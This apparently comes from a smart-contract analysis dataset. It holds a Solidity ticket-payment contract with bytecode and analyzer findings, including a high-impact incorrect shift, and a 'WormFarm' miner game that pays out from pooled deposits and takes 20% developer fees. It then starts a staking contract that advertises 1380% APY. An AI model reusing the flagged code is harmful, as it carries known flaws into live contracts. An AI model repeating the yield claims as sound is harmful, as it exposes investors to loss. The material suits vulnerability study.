function mark(IERC20 token, address signer, uint64 marked) external {
require(marked <= block.timestamp);
bytes32 key = keccak256(abi.encodePacked(token, msg.sender, signer));
Account storage account = accounts_[key];
uint256 cache = account.unlock_warned_;
cache = uint256(marked) << 192 | uint192(cache);
account.unlock_warned_ = cache;
emit Delete(key, cache);
}
/*struct Track {
uint96 expire;
address owner;
}*/
struct Track {
uint256 packed;
}
mapping(bytes32 => Track) private tracks_;
function save(uint256 count, bytes32 seed) external {
for (seed = keccak256(abi.encodePacked(
keccak256(abi.encodePacked(seed, msg.sender))
, address(0))); count-- != 0; seed = keccak256(abi.encodePacked(seed)))
tracks_[seed].packed = uint256(msg.sender);
}
function spend_(bytes32 refund) private {
Track storage track = tracks_[refund];
uint256 packed = track.packed;
if (packed >> 160 <= block.timestamp)
if (address(packed) == msg.sender)
delete track.packed;
}
/*struct Ticket {
uint256 data;
uint256 reveal;
uint64 issued;
uint64 nonce;
uint128 amount;
uint31 expire;
uint64 ratio;
address funder;
uint1 v;
bytes32 r;
bytes32 s;
}*/
struct Ticket {
bytes32 data;
bytes32 reveal;
uint256 packed0;
uint256 packed1;
bytes32 r;
bytes32 s;
}
function claim_(IERC20 token, address recipient, Ticket calldata ticket) private returns (uint256) {
uint256 expire = (ticket.packed0 >> 192) + (ticket.packed1 >> 225);
if (expire <= block.timestamp)
return 0;
if (uint64(ticket.packed1 >> 161) < uint64(uint256(keccak256(abi.encodePacked(ticket.reveal, uint128(ticket.packed0 >> 128))))))
return 0;
bytes32 digest; assembly { digest := chainid() }
digest = keccak256(abi.encodePacked(
byte(0x19), byte(0x00), this, digest, token,
recipient, keccak256(abi.encodePacked(ticket.reveal)),
ticket.packed0, ticket.packed1 >> 1, ticket.data));
address signer = ecrecover(digest, uint8((ticket.packed1 & 1) + 27), ticket.r, ticket.s);
address funder = address(ticket.packed1 >> 1);
bytes32 key = keccak256(abi.encodePacked(token, funder, signer));
Account storage account = accounts_[key];
{
Loop storage loop = loops_[funder];
if (loop.closed_ - 1 < block.timestamp)
if (loop.merchants_[recipient] <= account.unlock_warned_ >> 192)
return 0;
} {
Track storage track = tracks_[keccak256(abi.encodePacked(digest, signer))];
if (track.packed != 0)
return 0;
track.packed = expire << 160 | uint256(msg.sender);
}
uint256 amount = uint128(ticket.packed0);
uint256 cache = account.escrow_amount_;
if (uint128(cache) >= amount)
cache -= amount;
else {
amount = uint128(cache);
cache = 0;
}
account.escrow_amount_ = cache;
emit Update(key, cache);
return amount;
}
function claim(IERC20 token, address recipient, Ticket[] calldata tickets, bytes32[] calldata refunds) external {
for (uint256 i = refunds.length; i != 0; )
spend_(refunds[--i]);
uint256 segment; assembly { segment := mload(0x40) }
uint256 amount = 0;
for (uint256 i = tickets.length; i != 0; ) {
amount += claim_(token, recipient, tickets[--i]);
assembly { mstore(0x40, segment) }
}
if (amount != 0) {
bytes32 key = keccak256(abi.encodePacked(token, recipient, recipient));
Account storage account = accounts_[key];
uint256 cache = account.escrow_amount_;
if (cache == 0)
emit Create(token, recipient, recipient);
require(uint128(cache) + amount < 1 << 128);
cache += amount;
account.escrow_amount_ = cache;
emit Update(key, cache);
}
}
}
|
0x6080604052600436106100b15760003560e01c80635fe65fef11610069578063a4c0ed361161004e578063a4c0ed36146101a2578063c0ee0b8a146101cf578063c6a69689146101ef576100b1565b80635fe65fef1461016257806384992d5114610182576100b1565b8063248d0fd71161009a578063248d0fd7146100f85780635185c7d71461011857806359c8b7f01461014f576100b1565b806313171586146100b65780631cea28c0146100d8575b600080fd5b3480156100c257600080fd5b506100d66100d1366004611577565b61021c565b005b3480156100e457600080fd5b506100d66100f33660046116dd565b6103ef565b34801561010457600080fd5b506100d6610113366004611682565b6104b1565b34801561012457600080fd5b5061013861013336600461152d565b610607565b604051610146929190611905565b60405180910390f35b6100d661015d366004611425565b610661565b34801561016e57600080fd5b506100d661017d3660046114da565b6106f5565b34801561018e57600080fd5b506100d661019d366004611637565b61089f565b3480156101ae57600080fd5b506101c26101bd36600461143a565b61099e565b60405161014691906118dc565b3480156101db57600080fd5b506100d66101ea36600461143a565b6109b7565b3480156101fb57600080fd5b5061020f61020a3660046113ed565b610a5d565b6040516101469190611798565b805b8015610266577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0161026183838381811061025557fe5b90506020020135610ac5565b61021e565b506040516000845b80156102bf577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff016102b289898989858181106102a757fe5b905060c00201610b08565b820191508260405261026e565b5080156103e55760008888896040516020016102dd93929190611840565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815291815281516020928301206000818152928390529120805491925090806103715760405173ffffffffffffffffffffffffffffffffffffffff808c169182918e16907fb224da6575b2c2ffd42454faedb236f7dbe5f92a0c96bb99c0273dbe98464c7e90600090a45b70010000000000000000000000000000000084826fffffffffffffffffffffffffffffffff1601106103a257600080fd5b830180825560405183907f05241a2ddcbea46fa2f8b84beea5d0d8c0fd21414503d644982a75ccf1d986aa906103d9908490611798565b60405180910390a25050505b5050505050505050565b80336040516020016104029291906117a1565b60405160208183030381529060405280519060200120600060405160200161042b9291906117a1565b6040516020818303038152906040528051906020012090505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820191156104ad57600081815260026020908152604091829020339055905161049091839101611798565b604051602081830303815290604052805190602001209050610444565b5050565b73ffffffffffffffffffffffffffffffffffffffff86166104d157600080fd5b6000808773ffffffffffffffffffffffffffffffffffffffff1633308960405160240161050093929190611885565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd00000000000000000000000000000000000000000000000000000000179052516105819190611807565b6000604051808303816000865af19150503d80600081146105be576040519150601f19603f3d011682016040523d82523d6000602084013e6105c3565b606091505b50915091508180156105e45750808060200190518101906105e491906114be565b6105ed57600080fd5b6105fc33898989898989610eb6565b6103e5338985611225565b600080600080600087878760405160200161062493929190611840565b6040516020818303038152906040528051906020012081526020019081526020016000209050806000015481600101549250925050935093915050565b6106713360003487878787610eb6565b80156106ef5760003373ffffffffffffffffffffffffffffffffffffffff168260405161069d90611882565b60006040518083038185875af1925050503d80600081146106da576040519150601f19603f3d011682016040523d82523d6000602084013e6106df565b606091505b50509050806106ed57600080fd5b505b50505050565b33600090815260016020526040902081806107785784610741577f000000000000000000000000000000000000000000000000000000000001518067ffffffffffffffff164201610744565b60005b825560405160009033907ffcf9bcb7a2649802047845bf82b0575e170753e2fb50c2e1552bcebc3c38ca9f908390a36106ed565b6000856107b1577f000000000000000000000000000000000000000000000000000000000001518067ffffffffffffffff1642016107d3565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff5b90505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90910190600085858481811061080957fe5b905060200201602081019061081e9190611397565b905073ffffffffffffffffffffffffffffffffffffffff811661084057600080fd5b73ffffffffffffffffffffffffffffffffffffffff811660008181526001860160205260408082208590555133917ffcf9bcb7a2649802047845bf82b0575e170753e2fb50c2e1552bcebc3c38ca9f91a350816107d657505050505050565b428167ffffffffffffffff1611156108b657600080fd5b60008333846040516020016108cd93929190611840565b604080518083037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0018152828252805160209182012060008181529182905291902060018101805477ffffffffffffffffffffffffffffffffffffffffffffffff1660c087901b7fffffffffffffffff0000000000000000000000000000000000000000000000001617908190559193509183907fe9d5d4bdc29068f77666497419c28b4aa58fe071a9dc2e1c5fde003d86701a6d9061098e908490611798565b60405180910390a2505050505050565b60006109ac858585856109b7565b506001949350505050565b60048110156109c557600080fd5b81357fffffffff0000000000000000000000000000000000000000000000000000000081167f59c8b7f00000000000000000000000000000000000000000000000000000000014156100b1576000808080610a23866004818a611913565b810190610a3091906113b3565b92965090945092509050610a4989338a87878787610eb6565b610a54893383611225565b505050506106ed565b73ffffffffffffffffffffffffffffffffffffffff808316600090815260016020526040812090918316610a9357549050610abf565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001909101602052604090205490505b92915050565b600081815260026020526040902080544260a082901c11610b035773ffffffffffffffffffffffffffffffffffffffff8116331415610b0357600082555b505050565b6000604082013560c01c606083013560e11c01428111610b2c576000915050610eaf565b826020013560808460400135901c604051602001610b4b9291906117d4565b6040516020818303038152906040528051906020012060001c67ffffffffffffffff1660a18460600135901c67ffffffffffffffff161015610b91576000915050610eaf565b6000469050601960f81b600060f81b308389898960200135604051602001610bb99190611798565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120610c119998979695949390928e01359160608f013560011c918f3591016116fe565b60405160208183030381529060405280519060200120905060006001828660600135600116601b0187608001358860a0013560405160008152602001604052604051610c6094939291906118e7565b6020604051602081039080840390855afa158015610c82573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08101519250606087013560011c9150600090610ccc908a9084908690602001611840565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181528151602092830120600081815280845282812073ffffffffffffffffffffffffffffffffffffffff87168252600190945291909120805491935090427fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091011015610dc05760c08260010154901c8160010160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610dc0576000975050505050505050610eaf565b506000600260008787604051602001610dda9291906117a1565b60405160208183030381529060405280519060200120815260200190815260200160002090508060000154600014610e1c576000975050505050505050610eaf565b60a087901b3317905580546fffffffffffffffffffffffffffffffff60408a01358116919081168211610e5157819003610e68565b6fffffffffffffffffffffffffffffffff16905060005b80835560405184907f05241a2ddcbea46fa2f8b84beea5d0d8c0fd21414503d644982a75ccf1d986aa90610e9d908490611798565b60405180910390a25096505050505050505b9392505050565b6000868886604051602001610ecd93929190611840565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181528151602092830120600081815292839052908220909250908086151580610f225750848914155b15610fc1578254915081610fa2578773ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fb224da6575b2c2ffd42454faedb236f7dbe5f92a0c96bb99c0273dbe98464c7e60405160405180910390a45b608082901c9050816fffffffffffffffffffffffffffffffff16890198505b6000806000808a1280610fd357508815155b1561100857505050600183015460c081901c906fffffffffffffffffffffffffffffffff81169060801c67ffffffffffffffff165b600089131561104e575087014267ffffffffffffffff7f000000000000000000000000000000000000000000000000000000000001518016018882101561104e57600080fd5b60008a12156110a45742600182031061106657600080fd5b60008a9003808b141561107857600080fd5b8481111561108557600080fd5b9b8c019b93849003938281111561109b57600080fd5b909103906110c3565b89156110c357898c8111156110b857600080fd5b9b8c90039b93909301925b60008912156110f0576000899003808a14156110de57600080fd5b828111156110eb57600080fd5b909103905b8715611109578b88111561110357600080fd5b878c039b505b801561118e57700100000000000000000000000000000000821061112c57600080fd5b600082156111405782608083901b17611143565b60005b60c085901b179050808760010181905550877fe9d5d4bdc29068f77666497419c28b4aa58fe071a9dc2e1c5fde003d86701a6d826040516111849190611798565b60405180910390a2505b50505070010000000000000000000000000000000089106111ae57600080fd5b70010000000000000000000000000000000081106111cb57600080fd5b608081901b89178281146112175780845560405185907f05241a2ddcbea46fa2f8b84beea5d0d8c0fd21414503d644982a75ccf1d986aa9061120e908490611798565b60405180910390a25b505050505050505050505050565b8015610b03576000808373ffffffffffffffffffffffffffffffffffffffff1685846040516024016112589291906118b6565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052516112d99190611807565b6000604051808303816000865af19150503d8060008114611316576040519150601f19603f3d011682016040523d82523d6000602084013e61131b565b606091505b509150915081801561134557508051158061134557508080602001905181019061134591906114be565b6106ed57600080fd5b60008083601f84011261135f578182fd5b50813567ffffffffffffffff811115611376578182fd5b602083019150836020808302850101111561139057600080fd5b9250929050565b6000602082840312156113a8578081fd5b8135610eaf8161193b565b600080600080608085870312156113c8578283fd5b84356113d38161193b565b966020860135965060408601359560600135945092505050565b600080604083850312156113ff578182fd5b823561140a8161193b565b9150602083013561141a8161193b565b809150509250929050565b600080600080608085870312156113c8578384fd5b6000806000806060858703121561144f578384fd5b843561145a8161193b565b935060208501359250604085013567ffffffffffffffff8082111561147d578384fd5b818701915087601f830112611490578384fd5b81358181111561149e578485fd5b8860208285010111156114af578485fd5b95989497505060200194505050565b6000602082840312156114cf578081fd5b8151610eaf81611960565b6000806000604084860312156114ee578283fd5b83356114f981611960565b9250602084013567ffffffffffffffff811115611514578283fd5b6115208682870161134e565b9497909650939450505050565b600080600060608486031215611541578283fd5b833561154c8161193b565b9250602084013561155c8161193b565b9150604084013561156c8161193b565b809150509250925092565b6000806000806000806080878903121561158f578182fd5b863561159a8161193b565b955060208701356115aa8161193b565b9450604087013567ffffffffffffffff808211156115c6578384fd5b818901915089601f8301126115d9578384fd5b8135818111156115e7578485fd5b8a602060c0830285010111156115fb578485fd5b602083019650809550506060890135915080821115611618578384fd5b5061162589828a0161134e565b979a9699509497509295939492505050565b60008060006060848603121561164b578081fd5b83356116568161193b565b925060208401356116668161193b565b9150604084013567ffffffffffffffff8116811461156c578182fd5b60008060008060008060c0878903121561169a578384fd5b86356116a58161193b565b95506020870135945060408701356116bc8161193b565b959894975094956060810135955060808101359460a0909101359350915050565b600080604083850312156116ef578182fd5b50508035926020909101359150565b7fff000000000000000000000000000000000000000000000000000000000000009a8b1681529890991660018901527fffffffffffffffffffffffffffffffffffffffff000000000000000000000000606097881b811660028a0152601689019690965293861b851660368801529190941b909216604a850152605e840192909252607e830152609e82015260be81019190915260de0190565b90815260200190565b91825260601b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000016602082015260340190565b91825260801b7fffffffffffffffffffffffffffffffff0000000000000000000000000000000016602082015260300190565b60008251815b81811015611827576020818601810151858301520161180d565b818111156118355782828501525b509190910192915050565b7fffffffffffffffffffffffffffffffffffffffff000000000000000000000000606094851b8116825292841b83166014820152921b166028820152603c0190565b90565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b901515815260200190565b93845260ff9290921660208401526040830152606082015260800190565b918252602082015260400190565b60008085851115611922578182fd5b8386111561192e578182fd5b5050820193919092039150565b73ffffffffffffffffffffffffffffffffffffffff8116811461195d57600080fd5b50565b801515811461195d57600080fdfea164736f6c6343000706000a
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "boolean-cst", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,702 |
0xc99b5768be64a25d8976f1956ae7c2601629c88a
|
// SPDX-License-Identifier: MIT
/**
Website: https://birdnestgame.com/
Twitter: https://twitter.com/BirdNestGame
Telegram: https://t.me/birdnestgame
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheBIRDr than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity 0.8.9;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract WormFarm is Context, Ownable {
using SafeMath for uint256;
uint256 private Worms_TO_Hire_1BIRD = 720000;//for final version should be seconds in a day
uint256 private PSN = 10000;
uint256 private PSNH = 5000;
uint256 private devFeeVal = 20;
bool private initialized = false;
address payable private recAdd;
mapping (address => uint256) private Factory;
mapping (address => uint256) private claimedWorms;
mapping (address => uint256) private lastHire;
mapping (address => address) private referrals;
uint256 private marketWorms;
constructor() {
recAdd = payable(msg.sender);
}
function ContributeToTVL () public payable {
}
function HireBirds(address ref) public {
require(initialized);
if(ref == msg.sender) {
ref = address(0);
}
if(referrals[msg.sender] == address(0) && referrals[msg.sender] != msg.sender) {
referrals[msg.sender] = ref;
}
uint256 WormsUsed = getMyWorms(msg.sender);
uint256 newBIRD = SafeMath.div(WormsUsed,Worms_TO_Hire_1BIRD);
Factory[msg.sender] = SafeMath.add(Factory[msg.sender],newBIRD);
claimedWorms[msg.sender] = 0;
lastHire[msg.sender] = block.timestamp;
//send referral Worms
claimedWorms[referrals[msg.sender]] = SafeMath.add(claimedWorms[referrals[msg.sender]],SafeMath.div(WormsUsed,10));
//boost market to nerf BIRD hoarding
marketWorms=SafeMath.add(marketWorms,SafeMath.div(WormsUsed,5));
}
function SellWorms() public {
require(initialized);
uint256 hasWorms = getMyWorms(msg.sender);
uint256 WormsValue = calculateWormsell(hasWorms);
uint256 fee = devFee(WormsValue);
claimedWorms[msg.sender] = 0;
lastHire[msg.sender] = block.timestamp;
marketWorms = SafeMath.add(marketWorms,hasWorms);
recAdd.transfer(fee);
payable (msg.sender).transfer(SafeMath.sub(WormsValue,fee));
}
function WormRewards(address adr) public view returns(uint256) {
uint256 hasWorms = getMyWorms(adr);
uint256 WormsValue = calculateWormsell(hasWorms);
return WormsValue;
}
function BuyBirds(address ref) public payable {
require(initialized);
uint256 WormsBought = calculateHireBirds(msg.value,SafeMath.sub(address(this).balance,msg.value));
WormsBought = SafeMath.sub(WormsBought,devFee(WormsBought));
uint256 fee = devFee(msg.value);
recAdd.transfer(fee);
claimedWorms[msg.sender] = SafeMath.add(claimedWorms[msg.sender],WormsBought);
HireBirds(ref);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) private view returns(uint256) {
return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
}
function calculateWormsell(uint256 Worms) public view returns(uint256) {
return calculateTrade(Worms,marketWorms,address(this).balance);
}
function calculateHireBirds(uint256 eth,uint256 contractBalance) public view returns(uint256) {
return calculateTrade(eth,contractBalance,marketWorms);
}
function calculateHireBirdsSimple(uint256 eth) public view returns(uint256) {
return calculateHireBirds(eth,address(this).balance);
}
function devFee(uint256 amount) private view returns(uint256) {
return SafeMath.div(SafeMath.mul(amount,devFeeVal),100);
}
function seedMarket() public payable onlyOwner {
require(marketWorms == 0);
initialized = true;
marketWorms = 108000000000;
}
function getBalance() public view returns(uint256) {
return address(this).balance;
}
function getMyBIRD(address adr) public view returns(uint256) {
return Factory[adr];
}
function getMyWorms(address adr) public view returns(uint256) {
return SafeMath.add(claimedWorms[adr],getWormsSinceLastHire(adr));
}
function getWormsSinceLastHire(address adr) public view returns(uint256) {
uint256 secondsPassed=min(Worms_TO_Hire_1BIRD,SafeMath.sub(block.timestamp,lastHire[adr]));
return SafeMath.mul(secondsPassed,Factory[adr]);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
}
|
0x6080604052600436106100f35760003560e01c806383ae7cbc1161008a578063b9d22e1b11610059578063b9d22e1b146101bc578063dd4eab521461027b578063f2fde38b1461028e578063f328da63146102ae57600080fd5b806383ae7cbc146101f35780638da5cb5b14610213578063af2dd6d61461023b578063b817cf431461025b57600080fd5b8063335126f9116100c6578063335126f9146101945780633c5f07cb146101b45780634a526ba0146101be578063715018a6146101de57600080fd5b8063112f1efa146100f857806312065fe014610141578063250469e7146101545780632f4db3c514610174575b600080fd5b34801561010457600080fd5b5061012e6101133660046108fc565b6001600160a01b031660009081526006602052604090205490565b6040519081526020015b60405180910390f35b34801561014d57600080fd5b504761012e565b34801561016057600080fd5b5061012e61016f366004610925565b6102c3565b34801561018057600080fd5b5061012e61018f366004610947565b6102d9565b3480156101a057600080fd5b5061012e6101af3660046108fc565b6102ee565b6101bc610352565b005b3480156101ca57600080fd5b5061012e6101d93660046108fc565b6103aa565b3480156101ea57600080fd5b506101bc6103cb565b3480156101ff57600080fd5b506101bc61020e3660046108fc565b61043f565b34801561021f57600080fd5b506000546040516001600160a01b039091168152602001610138565b34801561024757600080fd5b5061012e610256366004610947565b61059c565b34801561026757600080fd5b5061012e6102763660046108fc565b6105a8565b6101bc6102893660046108fc565b6105ce565b34801561029a57600080fd5b506101bc6102a93660046108fc565b610687565b3480156102ba57600080fd5b506101bc6106bd565b60006102d28383600a5461079e565b9392505050565b60006102e882600a544761079e565b92915050565b60008061032b6001546103264260086000886001600160a01b03166001600160a01b03168152602001908152602001600020546107de565b6107ea565b6001600160a01b0384166000908152600660205260409020549091506102d2908290610800565b6000546001600160a01b031633146103855760405162461bcd60e51b815260040161037c90610960565b60405180910390fd5b600a541561039257600080fd5b6005805460ff191660011790556419254d3800600a55565b6000806103b6836105a8565b905060006103c3826102d9565b949350505050565b6000546001600160a01b031633146103f55760405162461bcd60e51b815260040161037c90610960565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60055460ff1661044e57600080fd5b6001600160a01b038116331415610463575060005b336000908152600960205260409020546001600160a01b03161580156104a05750336000818152600960205260409020546001600160a01b031614155b156104ce5733600090815260096020526040902080546001600160a01b0319166001600160a01b0383161790555b60006104d9336105a8565b905060006104e98260015461080c565b336000908152600660205260409020549091506105069082610818565b3360009081526006602090815260408083209390935560078082528383208390556008825283832042905560098252838320546001600160a01b031683529052205461055c9061055784600a61080c565b610818565b336000908152600960209081526040808320546001600160a01b031683526007909152902055600a546105949061055784600561080c565b600a55505050565b60006102e882476102c3565b6001600160a01b0381166000908152600760205260408120546102e890610557846102ee565b60055460ff166105dd57600080fd5b60006105ed3461016f47346107de565b9050610601816105fc83610824565b6107de565b9050600061060e34610824565b60055460405191925061010090046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561064e573d6000803e3d6000fd5b50336000908152600760205260409020546106699083610818565b336000908152600760205260409020556106828361043f565b505050565b6000546001600160a01b031633146106b15760405162461bcd60e51b815260040161037c90610960565b6106ba8161083c565b50565b60055460ff166106cc57600080fd5b60006106d7336105a8565b905060006106e4826102d9565b905060006106f182610824565b33600090815260076020908152604080832083905560089091529020429055600a549091506107209084610818565b600a556005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610761573d6000803e3d6000fd5b50336108fc61077084846107de565b6040518115909202916000818181858888f19350505050158015610798573d6000803e3d6000fd5b50505050565b60006103c36107af60025484610800565b6107d96003546105576107d36107c76002548a610800565b6105576003548c610800565b8961080c565b61080c565b60006102d282846109ab565b60008183106107f957816102d2565b5090919050565b60006102d282846109c2565b60006102d282846109e1565b60006102d28284610a03565b60006102e861083583600454610800565b606461080c565b6001600160a01b0381166108a15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161037c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561090e57600080fd5b81356001600160a01b03811681146102d257600080fd5b6000806040838503121561093857600080fd5b50508035926020909101359150565b60006020828403121561095957600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156109bd576109bd610995565b500390565b60008160001904831182151516156109dc576109dc610995565b500290565b6000826109fe57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115610a1657610a16610995565b50019056fea26469706673582212201dc21c613c9df0aa3c858d68dc919de5832daf02853f5ad07cdc494352bbf59364736f6c63430008090033
|
{"success": true, "error": null, "results": {}}
| 8,703 |
0x9d5015930437ef3316d3f1e70286a8ec2fa5a20e
|
/*
* Adrenaline.finance STAKING CONTRACT #2.
* Staking 21.01 - 01.02. APY: 1380%
*
* Token contract: 0xc990902073f97c3fa3705123364c51d00495107a
*
* => Website: https://adrenaline.finance
* => Twitter: https://twitter.com/AdrenalineFarm
* => Telegram chanel: https://t.me/adrenaline_announcements
* => Telegram chat: https://t.me/adrenalinefinance_chat
* => Discord: https://discord.gg/ecFagSm7gY
* => AirDrop: https://adrenalinefinance.gitbook.io/adrenaline-finance/airdrop
* => Affiliate program: https://adrenalinefinance.gitbook.io/adrenaline-finance/affiliate-program
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
